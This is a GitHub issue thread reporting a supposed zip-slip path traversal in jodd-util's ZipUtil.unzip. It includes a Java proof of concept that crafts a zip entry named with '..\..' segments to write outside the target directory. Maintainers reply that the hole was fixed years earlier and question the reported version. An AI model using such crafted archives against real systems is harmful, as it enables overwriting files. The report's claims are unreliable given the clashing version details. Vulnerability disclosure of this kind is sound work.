oblac / jodd-util

Essential Java utilities.
https://util.jodd.org
BSD 2-Clause "Simplified" License
39 stars 9 forks source link

[CWE-22] jodd-util , during the process of file decompression, a malicious zip file can unzip virus files to other paths. #17

Closed Zlase0820 closed 1 year ago

Zlase0820 commented 1 year ago

Description

In the method "unzip" (line 216) of the file https://github.com/oblac/jodd-util/blob/master/src/main/java/jodd/io/ZipUtil.java#L216, it is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite and other situations.

Version Affected

org.neo4j:neo4j-io:6.2.1(newest)

Proof of Concept

I use a maven project import the jodd-util in pom.xml.

<dependency>
    <groupId>org.jodd</groupId>
    <artifactId>jodd-util</artifactId>
    <version>6.2.1</version>
</dependency>

Use the following zip() method to create a zip file from a txt file, and the name of the compressed file will be renamed to "..\..\a\b\c\poc.txt". (You should create this path firstly)

Then call the ZipUtil.unzip() method, originally intended to unzip the file to "D:\zeroVulnCode\SilentVulnJava\testData\unzip", but it will eventually be extracted to its another directory "D:\zeroVulnCode\SilentVulnJava\a\b\c\poc.txt\".

This may cause the original file to be overwritten by a high-risk file.

import jodd.io.ZipUtil;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class JoddUtilUnzip {

    public static void main(String[] args) throws IOException {
        zip();  // create a poc

        String zipFile = "D:\\zeroVulnCode\\SilentVulnJava\\testData\\unzip\\poc.zip";
        String destination = "D:\\zeroVulnCode\\SilentVulnJava\\testData\\unzip";
        ZipUtil.unzip(new File(zipFile), new File(destination));
    }

    // create a zip
    public static void zip() {
        ZipOutputStream zos = null;
        try {
            zos = new ZipOutputStream(new FileOutputStream(
                "D:\\zeroVulnCode\\SilentVulnJava\\testData\\unzip\\poc.zip"));
            String srcFile = "..\\..\\a\\b\\c\\poc.txt";  // the next filePath
            String destFile = "D:\\zeroVulnCode\\SilentVulnJava\\testData\\unzip\\poc.txt";
            zos.putNextEntry(new ZipEntry(srcFile));
            FileInputStream in = new FileInputStream(destFile);
            int len;
            byte[] buf = new byte[1024];
            while ((len = in.read(buf)) != -1) {
                zos.write(buf, 0, len);
            }
            zos.closeEntry();
            in.close();
        } catch (Exception e) {
            throw new RuntimeException("zip error from ZipUtils", e);
        } finally {
            if (zos != null) {
                try {
                    zos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

I think we can add a simple verification check on the path to avoid this issue. We can refer to other verification methods for unzip under Apache, such as:

https://github.com/apache/druid/blob/master/processing/src/main/java/org/apache/druid/utils/CompressionUtils.java#L242

He has the same error,and fixed in CVE-2023-27603.

neroux commented 1 year ago

You wrote you ran it against the latest version, but are you sure?

Jodd actually already addressed this issue back in 2018 with version 5.0.5 - https://github.com/oblac/jodd/releases/tag/v5.0.5 - and throws an exception in that case

https://github.com/oblac/jodd-util/blob/8d7398b8f9b06163c05e54e4efd0719961300aa6/src/main/java/jodd/io/ZipUtil.java#L232-L236

neroux commented 1 year ago

I briefly thought it might have something to do with the execution context and the current working directory, but that does not seem to be the case either.

As you provide a value for destDir, rootDir is also set and isAncestor verifies if the new file is within that directory.

igr commented 1 year ago

@Zlase0820 can you please confirm you have an issue? As @neroux said, this was fixed long time ago. Moreover, I don't see neo4j-io version 6 on maven, only 5.